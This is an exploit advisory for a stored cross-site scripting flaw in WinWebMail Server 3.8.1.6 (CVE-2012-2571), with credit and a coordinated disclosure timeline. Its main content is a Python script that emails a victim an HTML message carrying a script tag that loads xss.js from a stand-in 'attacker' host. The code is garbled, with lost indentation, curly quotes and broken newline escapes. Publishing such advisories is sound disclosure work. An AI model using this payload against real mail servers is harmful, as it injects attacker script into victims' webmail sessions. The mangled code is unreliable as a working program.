WinWebMail Server Stored XSS Exploit

Summary

WinWebMail Server 3.8.1.6 suffers from stored XSS vulnerability

Credit:

The information has been provided by loneferret.


Details

Vulnerable Systems:
 * WinWebMail Server 3.8.1.6

import smtplib, urllib2

payload = ”'<SCRIPT SRC=http://attacker/xss.js></SCRIPT>”’

def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = ‘From: hacker@offsec.localn’
msg += ‘To: victim@victim.localn’
msg += ‘Date: Todayrn’
msg += ‘Subject: XSSn’
msg += ‘Content-type: text/htmlnn’
msg += ‘XSS’ + payload + ‘rnrn’
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print ‘[-] Failed to send email:’
print ‘[*] ‘ + str(e)
server.quit()

username = ‘hacker@offsec.local’
password = ‘123456’
dstemail = ‘victim@victim.local’
frmemail = ‘hacker@offsec.local’
smtpsrv = ‘172.16.84.171’

print ‘[*] Sending Email’
sendMail(dstemail, frmemail, smtpsrv, username, password)

CVE Information:
2012-2571

Disclosure Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated with vendor
08 Aug 2012: Public Disclosure

Categories: Exploits